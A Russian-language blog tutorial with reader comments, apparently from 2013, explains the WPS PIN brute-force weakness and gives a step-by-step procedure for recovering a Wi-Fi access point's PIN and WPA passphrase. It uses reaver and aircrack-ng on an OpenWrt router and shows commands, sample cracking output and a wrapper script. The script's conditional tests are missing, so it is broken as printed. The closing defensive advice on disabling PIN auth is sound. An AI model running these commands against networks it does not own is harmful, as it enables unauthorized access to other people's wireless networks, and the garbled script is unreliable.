В большинстве беспроводных роутеров с поддержкой WPS, реализующей авторизацию по PIN, существует уязвимость безопасности сети. Используя ее становится возможным восстановление PIN-кода точки доступа, а также установленных на ней WPA/WPA2-паролей.
Уязвимость заключается в том, что метод авторизации содержит недочеты, позволяющие существенно упростить прямой перебор PIN-кодов, иными словами – реализуется эффективная брутфорс-атака. PIN-код WPS содержит восемь цифр, соответственно существует 108 возможных вариантов кода. Это довольно большое число, но в реальности количество переборов можно существенно сократить.
Во-первых, восьмисимвольный PIN-код при авторизации делится на две части, обработка которых происходит независимо друг от друга. Так, точка доступа и клиент обмениваются рядом последовательных сообщений М1-М8, и при этом:
В итоге, число необходимых переборов сокращается с 108 (100’000’000) до 104+104 (20’000).
Во-вторых, последняя цифра PIN-кода не является случайной и представляет собой контрольную сумму предыдущих цифр кода. Этот факт сокращает количество вариантов до 104+103 (11’000).
Наконец, немаловажной деталью является тот факт, что на многих домашних роутерах PIN-авторизация: а) включена по-умолчанию; б) не накладывает никаких ограничений на отправителя при отправке множества некорректных PIN-кодов. Это открывает возможность по неограниченному перебору пин-кодов на таких роутерах.
Разумеется, не пришлось долго ждать появления умельцев, реализовавших программный метод для автоматического перебора PIN-кодов – в лице программы reaver wps. Более того, данная утилита даже была портирована в OpenWrt и присутствует в официальном репозитории пакетов.
Итак, для запуска процесса восстановления PIN-кода нашей точки доступа при помощи роутера под управлением OpenWrt нам потребуется установить пакеты aircrack-ng и reaver (в Buildroot расположены в разделе Network -> Wireless). Первый пакет представляет собой набор утилит и скриптов, при помощи которого мы сможем перевести Wi-Fi передатчик роутера в режим “Monitor”; второй – это непосредственно утилиты для анализа и подбора PIN-кодов.
Сначала подготовим Wi-Fi передатчик нашего роутера. Обратите внимание, соответствующий передатчик уже должен быть активирован в UCI или веб-интерфейсе. Допустим, если выбранный сетевой интерфейс называется wlan0, то используем команду:
root@OpenWrt:~# airmon-ng start wlan0
Теперь у нас появился новый виртуальный сетевой интерфейс – mon0. К сожалению, чтобы на нем работал режим scan, в современных прошивках требуется отключение “обычного” беспроводного интерфейса:
root@OpenWrt:~# ifconfig wlan0 down
Теперь мы можем использовать утилиту wash, при помощи которой можно увидеть окрестные точки доступа, поддерживающие WPS-авторизацию, а также убедимся в том, что с роутера просматривается целевая точка доступа и ее MAC-адрес:
root@OpenWrt:~# wash -i mon0 Wash v1.4 WiFi Protected Setup Scan Tool Copyright (c) 2011, Tactical Network Solutions, Craig HeffnerBSSID Channel RSSI WPS Version WPS Locked ESSID -------------------------------------------------------------------------------------- ... 00:01:FD:AC:DD:EA 2 -64 1.0 No TestAP ...
Запоминаем номер канала и BSSID нашей точки доступа.
В принципе, на этом этапе мы уже имеем достаточно данных для начала автоматизированноого перебора паролей. Для этого было бы достаточно набрать следующую команду и ждать результата:
root@OpenWrt:~# reaver -i mon0 -b 00:01:FD:AC:DD:EA -v
Однако, не все так гладко в Датском королевстве OpenWrt.
Проблема в следующем:
Утилита reaver местами использует низкоуровневые вычисления, а первоначально она составлялась для ПК с процессорами х86-64, использующими порядок байтов типа “Little-endian” (LE, от меньшего к большему). В то же время на многих распространенных роутерах используется представление байт “Big-endian” (BE, от большего к меньшему). Первое время это приводило к тому, что reaver вовсе не функционировал на роутерах с BE-платформой. Позже были написаны патчи, исправлявшие эту ситуацию, но тем не менее до сих пор не решена проблема с аутентификацией на точке доступа при использовании платформы с BE. Поэтому требуются обходные пути.
В частности, нам поможет ручная аутентификация на точке доступа при помощи утилиты aireplay-ng из пакета aircrack-ng. Однако в отличие от reaver данная утилита не умеет самостоятельно выставлять требуемый Wi-Fi канал, поэтому его необходимо задать вручную:
root@OpenWrt:~# iwconfig mon0 channel 2 root@OpenWrt:~# aireplay-ng -1 5 -a 00:01:FD:AC:DD:EA mon0
Эта утилита работает в foreground-режиме, поэтому после того, как вы убедитесь, что ассоциирование с точкой доступа происходит успешно, требуется прервать ее выполнение по Ctrl+C и перезапустить в фоновом режиме:
root@OpenWrt:~# aireplay-ng -1 5 -a 00:01:FD:AC:DD:EA mon0 > /dev/null &
Затем при запуске reaver добавляем ключ -A:
root@OpenWrt:~# reaver -i mon0 -b 00:01:FD:AC:DD:EA -vv -A
Если все выполнено правильно, то можно будет наблюдать следующие строки:
... Trying pin 54545670 Sending EAPOL START request Received identity request Sending identity response Received M1 message Sending M2 message Received M3 message Sending M4 message Received WSC NACK Sending WSC NACK Trying pin 54555679 Sending EAPOL START request Received identity request ...
В случае появления повторяющихся сообщений Sending EAPOL START request и WARNING: Receive timeout occurred, вероятно, ассоциирование с точкой доступа не было успешным. В случае обнаружения зацикленного перебора одинаковых PIN-ов, вероятно, точка доступа все-таки не поддерживает такую авторизацию, либо произошел сбой в работе reaver.
В общем случае алгоритм корректного перебора PIN-ов предполагает последовательное увеличение первых четырех цифр до тех пор, пока они не будут подобраны верно. Затем первые четыре цифры фиксируются и начинается перебор предпоследних трех цифр. В последней позиции PIN-кода автоматически генерируется число, являющееся контрольной суммой предыдущих чисел.
Также есть еще один момент, актуальный для запуска reaver на OpenWrt:
При работе данная утилита использует файл базы данных sqlite3, а также для хранения информации по текущей точке доступа создается временный файл в текущем каталоге. Оба этих файла перезаписываются после каждой новой попытки подбора PIN-кода. Соответственно, в целях сохранения flash-памяти вашего роутера от износа запускать reaver следует из каталога /tmp. Но, к сожалению, это никак не решает проблему постоянной перезаписи sqlite3-базы, расположенной в /etc/reaver/reaver.db. В данном случае решением проблемы стало бы создание копии этой базы в /tmp и добавление симлинка на нее в /etc.
Для упрощения решения проблемы с переносом sqlite3-базы в /tmp и автоматизации запуска aireplay был составлен скрипт reaverrun.sh:
#!/bin/ash if then echo echo "Reaver WPS Tool automatization script for OpenWrt" echo "(c) 2013 Erinome.net" echo echo "Usage: $0 <interface> <channel> <bssid>" echo exit fi interface=$1 channel=$2 bssid=$3 cd /tmp # check if symlink is created if then # check if symlink target not ok if ! then if then # copy backup to symlinked location cp /etc/reaver/reaver.db.orig /tmp/reaver.db else echo "Fatal: reaver.db.orig not found!" exit 1; fi fi else # move reaver.db to reaver.db.orig and create symlink cp /etc/reaver/reaver.db /tmp/reaver.db mv /etc/reaver/reaver.db /etc/reaver/reaver.db.orig ln -s /tmp/reaver.db /etc/reaver/reaver.db fi # make a trap for signal handling trap "{ /usr/bin/killall aireplay-ng; exit; }" SIGINT EXIT # change wireless channel for aireplay to work iwconfig $interface channel $channel # run aireplay-ng to associate since reaver ap association is broken in BE aireplay-ng -1 5 -a $bssid $interface > /dev/null & # actually run reaver reaver -i mon0 -b $bssid -vv -A -S
Скачать скрипт можно из нашего хранилища: reaverrun.sh.
Процесс восстановления PIN-кода может занимать достаточно длительное время, и поэтому есть смысл запускать его в виртуальном терминале типа screen.
При завершении восстановления PIN-кода в консоль будет выведен также WPA-passphrase и затраченное на восстановление время:
Sending M4 message Received M5 message Sending M6 message Received M7 message Sending WSC NACK Sending WSC NACK Pin cracked in 29786 seconds WPS PIN: '73133210' WPA PSK: 'the-most-secret-passphrase-ever' AP SSID: 'TestAP'
После завершения работы с reaver необходимо выключить сетевой интерфейс mon0 командой airmon-ng stop mon0. Также привести роутер в исходное состояние можно и просто набрав команду wifi. При этом временные сетевые интерфейсы будут удалены, а конфигурация беспроводной сети вернется к заданным в UCI или веб-интерфейсе роутера значениям.
Для обеспечения безопасности беспроводных сетей с поддержкой WPS остается лишь рекомендовать отключить возможность авторизации по PIN-кодам, либо свериться с информацией по возможности обновления прошивки у производителя вашего роутера или точки доступа. Достаточно эффективной защиты PIN-авторизации можно было бы добиться простым ограничением числа попыток авторизаций в единицу времени. Например, таковая защита представлена на современных роутерах марки Zyxel.
Пожалуйста подробнее про screen и запуск в виртуальном терминале.
Подскажите пожалуйста что может бить? После запуска reaver появляетса сообщение warning: detected ap rate limiting, waeting 60 seconds before re-checking и дальше только повтори етого сообщения
У меня после sending m4 пишет receive timeout occurred. При написании -d 0 вообще при любом пине приходит m5, и после отправки m6 опять приходит m5 и происходит ошибка.Что делать?
wash пишет bus error
При запуске скрипта, пишет следующие ошибки:
root@OpenWrt:/tmp# sh /tmp/reaverrun.sh
: not foundrun.sh: line 2:
/tmp/reaverrun.sh: line 52: syntax error: unexpected end of file (expecting “then”)